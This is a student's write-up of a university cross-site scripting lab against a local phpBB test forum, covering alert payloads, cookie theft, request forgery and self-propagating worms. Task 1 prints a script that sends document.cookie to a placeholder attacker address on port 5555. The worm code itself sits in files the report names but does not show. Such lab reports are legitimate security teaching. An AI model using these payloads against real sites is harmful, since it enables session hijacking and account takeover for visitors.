Emmanuel Taylor

December 12, 2014

CMSC414 0201

Dr. Shankar

**Project 5: Cross-Site Scripting (XSS) Attack Lab**

**Purpose:**

Cross-site Scripting (XSS) is a type of vulnerability commonly found in web applications which makes it possible for attackers to inject malicious code into a victim’s web browser. By using this code, attackers can steal the victim’s credentials such as cookies. By using the XSS vulnerability, the access control policies can be bypassed which can lead to large-scale attacks. Upon completing this lab, we exploit this vulnerability by posting some malicious messages to the message board; users who view this message will then become victims.

**Initial Setup:**

First, we must use the apache web server that is included in the pre-built Ubuntu image. The server is not started by default so we must start the web server by using the following command: % sudo service apache2 start. Next we configured the DNS so that the localhost maps to [www.xsslabphpbb.com](http://www.xsslabphpbb.com).

**Task 0: Warm-up: No Submission Necessary**

This task is used to help us get started. The task involves posting a malicious message to display an alert message. The objective of this task is to post a malicious message that contains JavaScript code to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window: <script>alert(‘XSS’);</script>.



*Figure 1: Alert XSS message*

Now if the following message is posted in the forum: <script>alert(document.cooki

e);</script>Hello Everybody, Welcome to this message board. The following message is printed out, which displays the cookies of the user.



*Figure 2: Displaying the cookies of the user*

**Task 1: Stealing Cookies from the Victim’s Machine**

In the previous task, the malicious JavaScript code can print out the user’s cookies; in this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code can send an HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert an <img> tag with a src set to the URL of the attacker’s destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending an HTTP GET request to the attacker’s website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker’s machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program is given to us:

Hello Folks,

<script>document.write(‘<img src=http://attacker\_IP\_address:5555?c=’ + escape(document.cookie) + ‘ >’); </script>

This script is to test XSS. Thanks.

In a file called task1.txt, you can see the exact JavaScript code that was used to have the user’s cookies sent to the server.

**Task 2: Impersonating the Victim using Stolen Cookies**

After stealing the victim’s cookies as we have in task 1, we can do whatever the victim can do on the phpBB web server such as posting messages under the victim’s name or deleting posts. In this task, we’ll write a program to forge a message post on behalf of the victim. The program will open a connection to the web server, set the necessary HTTP header information, send the request to the web server, and then get the response from the web server. Included within the submission is a task2input.txt file which contains the cookie and sid and the HTTPSimpleForge.java file.

**Task 3: Writing an XSS Worm**

In the previous task, we learned how to steal cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge an HTTP request directly from the victim’s browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a cross-site scripting worm. The worm should be able to retrieve the session ID of the user using JavaScript and forge an HTTP post request to post a message using the session ID. For this project, our work will cause bob to post a message when he reads ted’s post which contains the worm. In the file task3.txt, you can see ted’s message.

**Task 4: Writing a Self-Propagating XSS Worm**

This task expands on what was done in the previous task by adding a copy of the worm to the body of the forged message. In this task, a message will be posted by the user ted. When alice reads the message, it will lead to the posting of another message M0, titled Self-Propagating XSS Worm. When bob reads M0, it will lead to the posting of a message M00, also titled Self-Propagating XSS Worm. In the file task4.txt, you can see the message that was posted by ted.

**Note: For some reason, my attacks stopped working after a few days when they were working previously. I’m not sure why this is. Maybe I changed something I shouldn’t have? I attached all of the files I used from the last time they were working.**